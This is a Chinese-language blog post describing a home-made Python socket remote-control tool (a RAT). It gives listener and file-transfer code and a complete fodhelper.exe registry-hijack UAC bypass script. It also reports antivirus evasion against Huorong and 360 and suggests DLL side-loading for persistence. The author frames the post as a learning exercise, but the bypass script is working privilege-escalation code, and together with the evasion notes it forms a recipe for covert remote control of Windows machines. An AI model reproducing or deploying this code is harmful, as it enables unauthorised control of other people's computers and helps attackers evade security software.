关于自写pysocket远控的一些思路

  1. 关于自写pysocket远控的一些思路
  2. 一对多的实现
  3. 文件传输
    1. 粘包问题的解决
    2. 延迟导致接收端还未开启就开始发送文件
  4. 屏幕截图
  5. bypassuac
  6. 免杀
  7. 缺点

关于自写pysocket远控的一些思路

最近自己写了个远控,分享一下。

只是自己练下手,了解下原理,并不建议在实战中使用。

这个远控我只写了几个功能,一对多控制,命令执行,文件上传和下载,屏幕截图,bypassuac。

一对多的实现

import socket

s = []
print("开始监听...")
server = socket.socket()  # 定义了一个服务
server.bind(("127.0.0.1", 1234))
server.listen(1)
sock, info = server.accept()
print(sock)
server.close()
s.append(sock)

#获取第二个通道

print("开始监听...")
server = socket.socket()  # 定义了一个服务
server.bind(("127.0.0.1", 1234))
server.listen(1)
sock, info = server.accept()
print(sock)
server.close()
s.append(sock)

print(s)

每次和被控机建立了socket连接之后,会返回一个通道,持久化连接,的cnn。通过控制这个通道来进行一对多的实现,也就是代码中的sock。

文件传输

粘包问题的解决

文件传输的时候如果连续发送数据包有时候会遇到粘包的问题,我通过校检文件传输前后md5值是否一致来判断文件是否正确传输。

传输文件前先将文件md5值传输给文件接收端,再文件传输完毕之后,接收端校检md5是否一致。

发送方:

        md5_1 = hashlib.md5()  # 示例化一个md5对象
        with open(filename,"rb") as f:
            for line in f:
                md5_1.update(line)
        file_info["md5value"]=md5_1.hexdigest() #将该字符串发送给server,用于验证接收的文件是否完全和发送时一样
        print(md5_1.hexdigest())

        file_info_json=json.dumps(file_info).encode("utf8") #将dict用jason处理后,得到jason格式的字符串,再编码成 bytes字节串
        ret=struct.pack("i",len(file_info_json)) #使用struct模块,将int转变为长度为4的bytes.

        # 发送 file_info_json的打包长度
        sock.send(ret)
        # 发送 file_info_json字节串
        sock.send(file_info_json)
        # 发送 文件数据

接收方:

            # 接收json的打包长度
            file_info_length_pack=sock.recv(4)
            file_info_length=struct.unpack("i",file_info_length_pack)[0]

            # 接收json字符串
            file_info_json=sock.recv(file_info_length).decode("utf8")
            file_info=json.loads(file_info_json)
            
                        # 循环接收文件
            md5=hashlib.md5()
            with open(filename,"wb") as f:
                recv_data_length=0
                while recv_data_length<filesize:
                    data=sock.recv(1024)
                    recv_data_length+=len(data)
                    f.write(data)
                    # MD5摘要
                    md5.update(data)
                    msg="文件总大小:{},已成功接收{} 进度:{:.3f}%".format(filesize,recv_data_length,recv_data_length/filesize*100)
                    print(msg)
            print("接收完成!")

延迟导致接收端还未开启就开始发送文件

由于文件传输的时候,需要文件接收方先开启文件接收服务,而在实际远控中,是有一定延迟的,如果接收方还没开始接收服务,发送方就发送了,那么就会产生报错。

以下问题我通过如下来实现

image-20221118124951720

屏幕截图

屏幕截图我是通过winapi截图之后保存到被控端,随后被控端将屏幕截图传过来之后,将被控端本地的文件删除

bypassuac

# -*- coding: utf-8 -*-
from __future__ import print_function
import os
import sys
import ctypes
if sys.version_info[0] == 3:
    import winreg as winreg
else:
    import _winreg as winreg

CMD                   = r"C:\Windows\System32\cmd.exe"
FOD_HELPER            = r'C:\Windows\System32\fodhelper.exe'
PYTHON_CMD            = "python"
REG_PATH              = 'Software\Classes\ms-settings\shell\open\command'
DELEGATE_EXEC_REG_KEY = 'DelegateExecute'

def is_admin():
    try:
        return ctypes.windll.shell32.IsUserAnAdmin()
    except:
        return False

def create_reg_key(key, value):
    try:        
        winreg.CreateKey(winreg.HKEY_CURRENT_USER, REG_PATH)
        registry_key = winreg.OpenKey(winreg.HKEY_CURRENT_USER, REG_PATH, 0, winreg.KEY_WRITE)                
        winreg.SetValueEx(registry_key, key, 0, winreg.REG_SZ, value)        
        winreg.CloseKey(registry_key)
    except WindowsError:        
        raise

def bypass_uac(cmd):
    try:
        create_reg_key(DELEGATE_EXEC_REG_KEY, '')
        create_reg_key(None, cmd)    
    except WindowsError:
        raise

def execute():        
    if not is_admin():
        print('不是管理员权限')
        print('[+] Trying to bypass the UAC')
        try:                
            current_dir = __file__
            cmd = '{} /k {} {}'.format(CMD, PYTHON_CMD, current_dir)
            bypass_uac(cmd)                
            os.system(FOD_HELPER)                
            sys.exit(0)                
        except WindowsError:
            sys.exit(1)
    else:
        print('本来就是管理员权限')  

if __name__ == '__main__':
    execute()

其代码主要就是首先检测当前会话是否是管理员权限,如果是的话就不执行任何操作,如果不是管理员权限就执行bypassuac的操作。

而bypassuac则是通过在注册表中计算机\HKEY_CURRENT_USER\Software\Classes下的ms-settings中添加了如下两个项

持久化可以用白加黑等手段。

image-20221121124645560

免杀

过火绒,360,bypassuac过不了主防的注册表检测但是不开主防可以过,可以执行一些基本操作,但是要是直接net加用户等操作的话肯定是会告警的,需要配合其他工具。

image-20221118130630088

缺点

太大了太大了太大了太大了太大了太大了,py就不适合写这种东西,不会敏感操作的动态免杀。

image-20221118130359657


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。后续可能会有评论区,不过也可以在github联系我。